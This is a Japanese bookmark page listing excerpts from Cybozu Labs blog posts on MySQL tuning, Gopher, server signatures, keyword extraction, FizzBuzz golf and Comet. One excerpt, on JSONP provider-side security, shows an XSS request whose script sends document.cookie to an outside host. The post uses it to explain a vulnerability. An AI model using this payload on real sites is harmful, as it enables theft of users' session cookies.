タグ

ブックマーク / labs.cybozu.co.jp (13)

  • Kazuho@Cybozu Labs: MySQL の高速化プチBK

    « システムコールの最適化 | メイン | キャッシュシステムの Thundering Herd 問題 » 2007年09月20日 MySQL の高速化プチBK 鴨志田さんに教えていただいたのですが、MySQL のクエリは数値をクォートしない方が高速になるらしいです。たとえば以下の例では、160万件の整数から4の倍数を数えていますが、数値をクォートしないほうが約50%も高速になっています。 mysql> show create table numbers; +---------+----------------------------------------------------------------------------------------+ | Table | Create Table | +---------+--------------------------------

  • TAKESAKO @ Yet another Cybozu Labs: ついカッとなってGopherサーバを立ててみた

    gopherは非常に簡単なプロトコルのため、 telnetGopherサーバにアクセスする方法 もお手軽です。HTTPと比べて、バイク小屋の議論となるようなサーバシグネチャもありません。 そういうのの相手するくらいならhttpdはぜんぶ捨ててgopherに戻りたい…。 (gopher対ゲイツ様 : ひろ式めもちょう) 今日はなぜか空前のGopherブームでしたので、「昔のgopher時代に戻ったらどうなるのか」を真剣に考えるため、実際にGopherサーバを立ててみました。 ↑ gopher://wafful.org/ (※ Firefoxやlynxでアクセスできます) どう見ても時代に逆行していますが、 私達が今JavaScriptを弄っているのも10年前の技術の再発見に他なりません。 もしかしたらそこに新しい未来が開けている可能性があるのかもしれません。 追記:Web2.0時代のGop

  • Kazuho@Cybozu Labs: サーバシグニチャは隠さないのが当たり前

    « Pathtraq バージョンアップのおしらせ - サイドバー表示に対応 | メイン | Perl から MySQL に非同期アクセスする方法 » 2007年09月05日 サーバシグニチャは隠さないのが当たり前 ウェブサーバ(Apache)で、404などのエラーページを表示したとき、ヘッダやページの下にApacheやOSのバージョンが表示されます。こういったサーバ情報をわざわざ表示する必要はありません。 ウノウラボ Unoh Labs: 5分でできるウェブサーバのセキュリティ向上施策 私も何年も前からセミナーではサーバ、モジュールバージョンは隠すようにと言っています。何故こんな事で賛否両論になるのか全く理解できません。 yohgaki's blog - サーバシグニチャは隠すのが当たり前 Server: ヘッダを隠すメリットについての議論はあるようですが、Server: ヘッダを表示すべ

  • キーワード抽出モジュール Lingua::JA::Summarize を使うコツ (nakatani @ cybozu labs)

    いわゆる「Web2.0」っぽい要素である「タグ」。 一般にはタグ付けは手動で行うわけですが、自然言語テキストへのタグ付け(キーワード抽出)を自動で行うことができれば、あれこれと可能性が広がって楽しそう……しかし、それは実現が難しかったり高コストだったりして、簡単に手を出せる解はあまりありません。 ラボの奥さんの作成したキーワード抽出モジュール Lingua::JA::Summarize は次の特徴を持っています。 動作要件の敷居が低い 辞書のメンテナンスをしなくても、未知語や熟語もある程度抽出してくれる 希望の結果に近づけるためのチューニングが可能 モジュールを使って、サイボウズ・ラボ内での情報交換を行っている社内掲示板をスレッド単位で解析しているのですが、辞書を一切チューニングしていない状態でも「しょこたん☆ぶろぐ」や「かぶり隊隊員ニャンコ達」などの特徴的なキーワードが抽出されます(

  • Kazuho@Cybozu Labs: Lingua::JA::Summarize 0.03, 0.04

    « Perl Monger への道は遠い | メイン | はてな認証 API » 2006年05月02日 Lingua::JA::Summarize 0.03, 0.04 Lingua::JA::Summarize の 0.03 と 0.04 をリリースしました。CPAN のミラーにはまだ届いていないと思いますので、http://search.cpan.org/~kazuho/ からダウンロード願います。 0.03 では、TF-IDF の計算式が間違っていたという恐ろしいバグを修正しました (すいませんすいません)。正しく修正できていると思います。たぶん... なお、チューニングとして、複数の形態素を結合する場合のコスト計算は sum(log(probability))*(log(wordcount)*0.7+1)、TF は occurences-0.5 としています。 それだけではあんま

  • 秋元@サイボウズラボ・プログラマー・ブログ: Seam Carving - 自然な画像リサイズを動的に行なうソフトウェア

    via Digg Siggraph2007で発表されたというSeam Carving技術。そのSeam Carving for content-aware image resizingという動画で解説されているのは、画像 […] via Digg Siggraph2007で発表されたというSeam Carving技術。そのSeam Carving for content-aware image resizingという動画で解説されているのは、画像内のひとまとまりの図形・物などの形を維持したままで、不要な部分を削って縮めることができるという技術。(論文 pdf) 説明がわかりにくくて申し訳ない。見てもらったほうがぜったい早い。 オリジナルのQuickTime動画はこちら これを使うと、写真の中の鍵となる写真や人物を常に保存しつつも、見ているPCや携帯端末の画面サイズに合わせてイメージを縮める

    秋元@サイボウズラボ・プログラマー・ブログ: Seam Carving - 自然な画像リサイズを動的に行なうソフトウェア
  • TAKESAKO @ Yet another Cybozu Labs: FizzBuzz - Golf Challenge

    FizzBuzzプログラムを書くのが流行っているみたいなので私も参加してみることに。 Perl部門 1. 目指せ最短 (perl -eも含めて56byte) perl -e'die+map{(Fizz)[$_%3].(Buzz)[$_%5]||$_,$/}1..1e2' ※ perl -lオプションを使わずに最短を目指す。標準エラー出力がNGの場合はprintを使って57byteに perl -e'print+(Fizz)[$_%3].(Buzz)[$_%5]||$_,$/for 1..1e2' ※ anarchy golf - FizzBuzz で換算すると48byteでPerl最短 (perl -eを含めない) print+(Fizz)[$_%3].(Buzz)[$_%5]||$_,$/for 1..1e2 これだと perl FizzBuzz.pl と実行できて Code Golf

  • TAKESAKO @ Yet another Cybozu Labs: ニコニコ動画勉強会に行ってきました

    日ドワンゴさんの会議室にてこっそり開催されたニコニコ動画勉強会に参加してきました。 日の動画コメントサービス「ニコニコ動画」の裏側をドワンゴの開発者の方から 直接お話しを聞いて、参加者も一緒に意見交換ができる非常に面白い勉強会でした。 ドワンゴさんとしては会社で行なう技術者向けの勉強会初めての試みということもあり、 まずは開発者の知り合いベースで声をかけあって少人数で開催することにしたそうです。 六木のクラブの人や、バイナリカンファレンスでご一緒した人とこんなところで お会いできるとは思っていませんで、さまに想定の範囲外でした。 その甲斐あって密度の濃い話ができたと思います。 以下、自分用のメモを公開できる範囲で書きます。間違っていたらすみません。(ご指摘いただければすぐに訂正します) ■ニコニコ動画の苦労話 (Sさん) ニコニコ動画の歴史 2006年10月 一人でプロトタイプを開発

  • Kazuho@Cybozu Labs: Gungho をインライン化してみた

    « Mylingual Slides @ YAPC::Asia 2007 | メイン | Re: PoCo::Client::HTTP が勝手に文字コードを変えてしまう件 » 2007年04月16日 Gungho をインライン化してみた ちょっとクローラーが必要になったのですが、POE の勉強は面倒なので Gungho を使って作ることにしました。開発が始まったばかりっぽいけど、使いやすそうだし期待大ということで。で、コードを読んでいて思ったのは、provider (URL をフィードするモジュール) と handler (ダウンロードしたコンテンツを処理するモジュール) は再利用されない (=各アプリケーション専用の処理になる) 場合も多いんじゃないかということ。だったらいちいちパッケージ定義して設定値渡しとか面倒だよねというか、ぶっちゃけ自分がクロージャで書きたいと思ったので、ラッパー

  • Kazuho@Cybozu Labs: Comet の正しい使い方

    « 「スーパー技術者争奪戦」 | メイン | JavaScript から Flash の便利な機能を使う方法 » 2007年02月23日 Comet の正しい使い方 今日会社の勉強会で Comet について話す機会がありました。 Comet については、普及するかどうかという以前に、どう使えばいいのか、正しく使った場合に何をどこまでできるのか、という理解が共有されていないように思います。なので、(あくまで私見ですが) 使用したスライドの一部を公開したいと思います。よろしければごらんください。また、問題や改善すべき点があれば、教えていただければ幸いです。

  • TAKESAKO @ Yet another Cybozu Labs: 最新のネットランナーでPlaggerが紹介されてるっ

    ネットランナー2007年2月号の記事の中で、Plaggerが紹介されていることを教えてもらいました。 おおお。当に紹介されてる。 「オレ専用ポッドキャストで新着Youtube動画配信」という記事で、72ページ目から4ページまるごとPlaggerです。mizzyさんのハックが全面的に紹介されています。 しかもご丁寧にダウンロードサイトも開設されています。 ツール保管庫.net/2007年2月号 特集2 編集部で用意した config.yaml とバッチファイルもダウンロードできるようになっていて、 ActivePerlのインストールから、Plaggerをタスクスケジューラに登録するところまで解説されています。 紙媒体のWindowsのインストール記事としては一番よくまとまっているのではないでしょうか。 こんなに早くネットランナーで紹介されるとはまさに想定の範囲外でした。 もしかして、Pla

  • Kazuho@Cybozu Labs: JSONP - データ提供者側のセキュリティについて

    « E4X-XSS 脆弱性について | メイン | 「スーパー技術者争奪戦」 » 2007年01月12日 JSONP - データ提供者側のセキュリティについて JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。 GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript;

  • 秋元@サイボウズラボ・プログラマー・ブログ

    This Layoff does not exist (このレイオフは実在しない)は、機械学習で存在しない情報を作る一連のwebサイトの流行”does not exist”シリーズの新顔で、ページを読み込むたびに新しい企業レイオフのアナウンスメッセージを生成するという不穏なジョークサイトです。 自動生成された嘘のレイオフアナウンス ページの一番上には3つのパラメーターが表示されています。 社名 レイオフの原因 CEOは責任を認めているか(true = 認めている) これらがランダムに選ばれ、パラメーターに応じた「社長からの苦渋のメッセージ」が表示されます。 たとえば、太陽光ラップトップの開発失敗による10%のレイオフ。 Daniel’s idea was embraced and we went ahead and developed a prototype for the laptop.

    秋元@サイボウズラボ・プログラマー・ブログ
  • 1